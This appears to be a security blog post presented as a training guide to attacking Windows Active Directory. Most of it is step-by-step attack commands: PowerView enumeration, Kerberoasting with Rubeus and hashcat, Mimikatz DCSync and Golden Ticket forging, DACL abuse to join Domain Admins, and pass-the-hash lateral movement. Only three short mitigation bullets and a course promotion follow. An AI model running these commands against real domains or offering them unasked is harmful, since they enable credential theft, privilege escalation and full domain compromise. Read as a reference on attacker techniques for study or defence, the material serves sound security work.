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Introduction:
Active Directory (AD) remains a prime target for attackers due to its central role in enterprise authentication and authorization. Exploiting AD misconfigurations can lead to full domain compromise, making it critical for security professionals to understand attack techniques and mitigation strategies. This guide covers essential AD exploitation methods, from initial access to advanced persistence.
Learning Objectives:
- Understand common Active Directory exploitation techniques.
- Learn privilege escalation and lateral movement strategies.
- Master defensive tactics to secure AD environments.
You Should Know:
1. Initial Active Directory Enumeration with PowerView
Command:
Get-NetDomain
Step-by-Step Guide:
PowerView is a PowerShell tool for AD reconnaissance. The `Get-NetDomain` command retrieves domain information, including the domain name, SID, and domain controllers.
1. Import PowerView:
Import-Module .\PowerView.ps1
2. Execute:
Get-NetDomain
Purpose: Identifies the target domain structure, aiding in further exploitation.
2. Kerberoasting with Rubeus
Command:
Rubeus.exe kerberoast /outfile:hashes.txt
Step-by-Step Guide:
Kerberoasting extracts service account hashes for offline cracking.
1. Download Rubeus from GitHub.
2. Run:
Rubeus.exe kerberoast /outfile:hashes.txt
3. Crack hashes using Hashcat:
hashcat -m 13100 hashes.txt rockyou.txt
Purpose: Exploits weak service account passwords for privilege escalation.
3. Golden Ticket Attack with Mimikatz
Command:
mimikatz kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:hash /ptt
Step-by-Step Guide:
A Golden Ticket grants persistent domain admin access.
1. Dump the KRBTGT hash using Mimikatz:
lsadump::dcsync /user:krbtgt
2. Forge a Golden Ticket:
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:hash /ptt
3. Pass-the-Ticket to gain access.
Purpose: Bypasses authentication for persistent domain control.
4. Abusing DACLs for Privilege Escalation
Command:
Get-ObjectAcl -Identity "Domain Admins" | ? {$_.ActiveDirectoryRights -match "WriteProperty"}
Step-by-Step Guide:
DACL (Discretionary Access Control List) misconfigurations can allow unauthorized modifications.
1. Use PowerView to check vulnerable permissions:
Get-ObjectAcl -Identity "Domain Admins"
2. Exploit `WriteProperty` rights to add a user to the “Domain Admins” group.
Purpose: Identifies weak permissions for privilege escalation.
5. Lateral Movement via Pass-the-Hash
Command:
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Admin /domain:corp.local /ntlm:HASH /run:powershell.exe"'
Step-by-Step Guide:
Pass-the-Hash (PtH) allows lateral movement without plaintext passwords.
1. Extract NTLM hashes using Mimikatz.
2. Execute:
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Admin /domain:corp.local /ntlm:HASH /run:powershell.exe"'
3. Access remote systems via `Enter-PSSession`.
Purpose: Moves laterally within the network using stolen credentials.
6. Defending Against AD Exploits
Mitigation Steps:
- Enable LSA Protection to block credential dumping.
- Restrict Kerberos delegation to prevent ticket theft.
- Implement Microsoft Defender for Identity for real-time AD monitoring.
What Undercode Say:
- Key Takeaway 1: Active Directory remains highly vulnerable to misconfigurations, requiring continuous hardening.
- Key Takeaway 2: Offensive security training (like Ignite Technologies’ course) is essential for both red and blue teams.
Analysis:
AD exploitation techniques are evolving, with attackers increasingly abusing Kerberos and DACLs. Organizations must adopt proactive defenses, including regular AD audits, least-privilege access, and advanced threat detection. Training programs like the one offered by Ignite Technologies bridge the skills gap, equipping professionals to combat modern threats.
Prediction:
As cloud-integrated AD (Azure AD) grows, attackers will shift focus to hybrid environments. Future exploits may target cloud sync vulnerabilities, making Zero Trust adoption critical for long-term security.
IT/Security Reporter URL:
Reported By: Ashray Gupta – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
